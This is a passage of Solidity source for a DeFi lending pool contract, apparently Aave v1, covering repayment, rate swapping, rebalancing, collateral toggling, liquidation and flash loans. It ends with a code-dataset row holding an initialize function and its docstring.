* @notice repays a borrow on the specific reserve, for the specified amount (or for the whole amount, if uint256(-1) is specified).
* @dev the target user is defined by _onBehalfOf. If there is no repayment on behalf of another account,
* _onBehalfOf must be equal to msg.sender.
* @param _reserve the address of the reserve on which the user borrowed
* @param _amount the amount to repay, or uint256(-1) if the user wants to repay everything
* @param _onBehalfOf the address for which msg.sender is repaying.
**/
struct RepayLocalVars {
uint256 principalBorrowBalance;
uint256 compoundedBorrowBalance;
uint256 borrowBalanceIncrease;
bool isETH;
uint256 paybackAmount;
uint256 paybackAmountMinusFees;
uint256 currentStableRate;
uint256 originationFee;
}
function repay(address _reserve, uint256 _amount, address payable _onBehalfOf)
external
payable
nonReentrant
onlyActiveReserve(_reserve)
onlyAmountGreaterThanZero(_amount)
{
// Usage of a memory struct of vars to avoid "Stack too deep" errors due to local variables
RepayLocalVars memory vars;
(
vars.principalBorrowBalance,
vars.compoundedBorrowBalance,
vars.borrowBalanceIncrease
) = core.getUserBorrowBalances(_reserve, _onBehalfOf);
vars.originationFee = core.getUserOriginationFee(_reserve, _onBehalfOf);
vars.isETH = EthAddressLib.ethAddress() == _reserve;
require(vars.compoundedBorrowBalance > 0, "The user does not have any borrow pending");
require(
_amount != UINT_MAX_VALUE || msg.sender == _onBehalfOf,
"To repay on behalf of an user an explicit amount to repay is needed."
);
//default to max amount
vars.paybackAmount = vars.compoundedBorrowBalance.add(vars.originationFee);
if (_amount != UINT_MAX_VALUE && _amount < vars.paybackAmount) {
vars.paybackAmount = _amount;
}
require(
!vars.isETH || msg.value >= vars.paybackAmount,
"Invalid msg.value sent for the repayment"
);
//if the amount is smaller than the origination fee, just transfer the amount to the fee destination address
if (vars.paybackAmount <= vars.originationFee) {
core.updateStateOnRepay(
_reserve,
_onBehalfOf,
0,
vars.paybackAmount,
vars.borrowBalanceIncrease,
false
);
core.transferToFeeCollectionAddress.value(vars.isETH ? vars.paybackAmount : 0)(
_reserve,
_onBehalfOf,
vars.paybackAmount,
addressesProvider.getTokenDistributor()
);
emit Repay(
_reserve,
_onBehalfOf,
msg.sender,
0,
vars.paybackAmount,
vars.borrowBalanceIncrease,
//solium-disable-next-line
block.timestamp
);
return;
}
vars.paybackAmountMinusFees = vars.paybackAmount.sub(vars.originationFee);
core.updateStateOnRepay(
_reserve,
_onBehalfOf,
vars.paybackAmountMinusFees,
vars.originationFee,
vars.borrowBalanceIncrease,
vars.compoundedBorrowBalance == vars.paybackAmountMinusFees
);
//if the user didn't repay the origination fee, transfer the fee to the fee collection address
if(vars.originationFee > 0) {
core.transferToFeeCollectionAddress.value(vars.isETH ? vars.originationFee : 0)(
_reserve,
_onBehalfOf,
vars.originationFee,
addressesProvider.getTokenDistributor()
);
}
//sending the total msg.value if the transfer is ETH.
//the transferToReserve() function will take care of sending the
//excess ETH back to the caller
core.transferToReserve.value(vars.isETH ? msg.value.sub(vars.originationFee) : 0)(
_reserve,
msg.sender,
vars.paybackAmountMinusFees
);
emit Repay(
_reserve,
_onBehalfOf,
msg.sender,
vars.paybackAmountMinusFees,
vars.originationFee,
vars.borrowBalanceIncrease,
//solium-disable-next-line
block.timestamp
);
}
/**
* @dev borrowers can user this function to swap between stable and variable borrow rate modes.
* @param _reserve the address of the reserve on which the user borrowed
**/
function swapBorrowRateMode(address _reserve)
external
nonReentrant
onlyActiveReserve(_reserve)
onlyUnfreezedReserve(_reserve)
{
(uint256 principalBorrowBalance, uint256 compoundedBorrowBalance, uint256 borrowBalanceIncrease) = core
.getUserBorrowBalances(_reserve, msg.sender);
require(
compoundedBorrowBalance > 0,
"User does not have a borrow in progress on this reserve"
);
CoreLibrary.InterestRateMode currentRateMode = core.getUserCurrentBorrowRateMode(
_reserve,
msg.sender
);
if (currentRateMode == CoreLibrary.InterestRateMode.VARIABLE) {
/**
* user wants to swap to stable, before swapping we need to ensure that
* 1. stable borrow rate is enabled on the reserve
* 2. user is not trying to abuse the reserve by depositing
* more collateral than he is borrowing, artificially lowering
* the interest rate, borrowing at variable, and switching to stable
**/
require(
core.isUserAllowedToBorrowAtStable(_reserve, msg.sender, compoundedBorrowBalance),
"User cannot borrow the selected amount at stable"
);
}
(CoreLibrary.InterestRateMode newRateMode, uint256 newBorrowRate) = core
.updateStateOnSwapRate(
_reserve,
msg.sender,
principalBorrowBalance,
compoundedBorrowBalance,
borrowBalanceIncrease,
currentRateMode
);
emit Swap(
_reserve,
msg.sender,
uint256(newRateMode),
newBorrowRate,
borrowBalanceIncrease,
//solium-disable-next-line
block.timestamp
);
}
/**
* @dev rebalances the stable interest rate of a user if current liquidity rate > user stable rate.
* this is regulated by Aave to ensure that the protocol is not abused, and the user is paying a fair
* rate. Anyone can call this function though.
* @param _reserve the address of the reserve
* @param _user the address of the user to be rebalanced
**/
function rebalanceStableBorrowRate(address _reserve, address _user)
external
nonReentrant
onlyActiveReserve(_reserve)
{
(, uint256 compoundedBalance, uint256 borrowBalanceIncrease) = core.getUserBorrowBalances(
_reserve,
_user
);
//step 1: user must be borrowing on _reserve at a stable rate
require(compoundedBalance > 0, "User does not have any borrow for this reserve");
require(
core.getUserCurrentBorrowRateMode(_reserve, _user) ==
CoreLibrary.InterestRateMode.STABLE,
"The user borrow is variable and cannot be rebalanced"
);
uint256 userCurrentStableRate = core.getUserCurrentStableBorrowRate(_reserve, _user);
uint256 liquidityRate = core.getReserveCurrentLiquidityRate(_reserve);
uint256 reserveCurrentStableRate = core.getReserveCurrentStableBorrowRate(_reserve);
uint256 rebalanceDownRateThreshold = reserveCurrentStableRate.rayMul(
WadRayMath.ray().add(parametersProvider.getRebalanceDownRateDelta())
);
//step 2: we have two possible situations to rebalance:
//1. user stable borrow rate is below the current liquidity rate. The loan needs to be rebalanced,
//as this situation can be abused (user putting back the borrowed liquidity in the same reserve to earn on it)
//2. user stable rate is above the market avg borrow rate of a certain delta, and utilization rate is low.
//In this case, the user is paying an interest that is too high, and needs to be rescaled down.
if (
userCurrentStableRate < liquidityRate ||
userCurrentStableRate > rebalanceDownRateThreshold
) {
uint256 newStableRate = core.updateStateOnRebalance(
_reserve,
_user,
borrowBalanceIncrease
);
emit RebalanceStableBorrowRate(
_reserve,
_user,
newStableRate,
borrowBalanceIncrease,
//solium-disable-next-line
block.timestamp
);
return;
}
revert("Interest rate rebalance conditions were not met");
}
/**
* @dev allows depositors to enable or disable a specific deposit as collateral.
* @param _reserve the address of the reserve
* @param _useAsCollateral true if the user wants to user the deposit as collateral, false otherwise.
**/
function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral)
external
nonReentrant
onlyActiveReserve(_reserve)
onlyUnfreezedReserve(_reserve)
{
uint256 underlyingBalance = core.getUserUnderlyingAssetBalance(_reserve, msg.sender);
require(underlyingBalance > 0, "User does not have any liquidity deposited");
require(
dataProvider.balanceDecreaseAllowed(_reserve, msg.sender, underlyingBalance),
"User deposit is already being used as collateral"
);
core.setUserUseReserveAsCollateral(_reserve, msg.sender, _useAsCollateral);
if (_useAsCollateral) {
emit ReserveUsedAsCollateralEnabled(_reserve, msg.sender);
} else {
emit ReserveUsedAsCollateralDisabled(_reserve, msg.sender);
}
}
/**
* @dev users can invoke this function to liquidate an undercollateralized position.
* @param _reserve the address of the collateral to liquidated
* @param _reserve the address of the principal reserve
* @param _user the address of the borrower
* @param _purchaseAmount the amount of principal that the liquidator wants to repay
* @param _receiveAToken true if the liquidators wants to receive the aTokens, false if
* he wants to receive the underlying asset directly
**/
function liquidationCall(
address _collateral,
address _reserve,
address _user,
uint256 _purchaseAmount,
bool _receiveAToken
) external payable nonReentrant onlyActiveReserve(_reserve) onlyActiveReserve(_collateral) {
address liquidationManager = addressesProvider.getLendingPoolLiquidationManager();
//solium-disable-next-line
(bool success, bytes memory result) = liquidationManager.delegatecall(
abi.encodeWithSignature(
"liquidationCall(address,address,address,uint256,bool)",
_collateral,
_reserve,
_user,
_purchaseAmount,
_receiveAToken
)
);
require(success, "Liquidation call failed");
(uint256 returnCode, string memory returnMessage) = abi.decode(result, (uint256, string));
if (returnCode != 0) {
//error found
revert(string(abi.encodePacked("Liquidation failed: ", returnMessage)));
}
}
/**
* @dev allows smartcontracts to access the liquidity of the pool within one transaction,
* as long as the amount taken plus a fee is returned. NOTE There are security concerns for developers of flashloan receiver contracts
* that must be kept into consideration. For further details please visit https://developers.aave.com
* @param _receiver The address of the contract receiving the funds. The receiver should implement the IFlashLoanReceiver interface.
* @param _reserve the address of the principal reserve
* @param _amount the amount requested for this flashloan
**/
function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes memory _params)
public
nonReentrant
onlyActiveReserve(_reserve)
onlyAmountGreaterThanZero(_amount)
{
//check that the reserve has enough available liquidity
//we avoid using the getAvailableLiquidity() function in LendingPoolCore to save gas
uint256 availableLiquidityBefore = _reserve == EthAddressLib.ethAddress()
? address(core).balance
: IERC20(_reserve).balanceOf(address(core));
require(
availableLiquidityBefore >= _amount,
"There is not enough liquidity available to borrow"
);
(uint256 totalFeeBips, uint256 protocolFeeBips) = parametersProvider
.getFlashLoanFeesInBips();
//calculate amount fee
uint256 amountFee = _amount.mul(totalFeeBips).div(10000);
//protocol fee is the part of the amountFee reserved for the protocol - the rest goes to depositors
uint256 protocolFee = amountFee.mul(protocolFeeBips).div(10000);
require(
amountFee > 0 && protocolFee > 0,
"The requested amount is too small for a flashLoan."
);
//get the FlashLoanReceiver instance
IFlashLoanReceiver receiver = IFlashLoanReceiver(_receiver);
address payable userPayable = address(uint160(_receiver));
//transfer funds to the receiver
core.transferToUser(_reserve, userPayable, _amount);
//execute action of the receiver
receiver.executeOperation(_reserve, _amount, amountFee, _params);
//check that the actual balance of the core contract includes the returned amount
uint256 availableLiquidityAfter = _reserve == EthAddressLib.ethAddress()
? address(core).balance
: IERC20(_reserve).balanceOf(address(core));
require(
availableLiquidityAfter == availableLiquidityBefore.add(amountFee),
"The actual balance of the protocol is inconsistent"
);
core.updateStateOnFlashLoan(
_reserve,
availableLiquidityBefore,
amountFee.sub(protocolFee),
protocolFee
);
//solium-disable-next-line
emit FlashLoan(_receiver, _reserve, _amount, amountFee, protocolFee, block.timestamp);
}
/**
* @dev accessory functions to fetch data from the core contract
**/
function getReserveConfigurationData(address _reserve)
external
view
returns (
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
address interestRateStrategyAddress,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive
)
{
return dataProvider.getReserveConfigurationData(_reserve);
}
function getReserveData(address _reserve)
external
view
returns (
uint256 totalLiquidity,
uint256 availableLiquidity,
uint256 totalBorrowsStable,
uint256 totalBorrowsVariable,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 utilizationRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
address aTokenAddress,
uint40 lastUpdateTimestamp
)
{
return dataProvider.getReserveData(_reserve);
}
function getUserAccountData(address _user)
external
view
returns (
uint256 totalLiquidityETH,
uint256 totalCollateralETH,
uint256 totalBorrowsETH,
uint256 totalFeesETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
)
{
return dataProvider.getUserAccountData(_user);
}
function getUserReserveData(address _reserve, address _user)
external
view
returns (
uint256 currentATokenBalance,
uint256 currentBorrowBalance,
uint256 principalBorrowBalance,
uint256 borrowRateMode,
uint256 borrowRate,
uint256 liquidityRate,
uint256 originationFee,
uint256 variableBorrowIndex,
uint256 lastUpdateTimestamp,
bool usageAsCollateralEnabled
)
{
return dataProvider.getUserReserveData(_reserve, _user);
}
function getReserves() external view returns (address[] memory) {
return core.getReserves();
}
/**
* @dev internal function to save on code size for the onlyActiveReserve modifier
**/
function requireReserveActiveInternal(address _reserve) internal view {
require(core.getReserveIsActive(_reserve), "Action requires an active reserve");
}
/**
* @notice internal function to save on code size for the onlyUnfreezedReserve modifier
**/
function requireReserveNotFreezedInternal(address _reserve) internal view {
require(!core.getReserveIsFreezed(_reserve), "Action requires an unfreezed reserve");
}
/**
* @notice internal function to save on code size for the onlyAmountGreaterThanZero modifier
**/
function requireAmountGreaterThanZeroInternal(uint256 _amount) internal pure {
require(_amount > 0, "Amount must be greater than 0");
}
}
|
this function is invoked by the proxy contract when the LendingPool contract is added to the AddressesProvider. _addressesProvider the address of the LendingPoolAddressesProvider registry/
|
function initialize(LendingPoolAddressesProvider _addressesProvider) public initializer {
addressesProvider = _addressesProvider;
core = LendingPoolCore(addressesProvider.getLendingPoolCore());
dataProvider = LendingPoolDataProvider(addressesProvider.getLendingPoolDataProvider());
parametersProvider = LendingPoolParametersProvider(
addressesProvider.getLendingPoolParametersProvider()
);
feeProvider = IFeeProvider(addressesProvider.getFeeProvider());
}
| 990,334
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.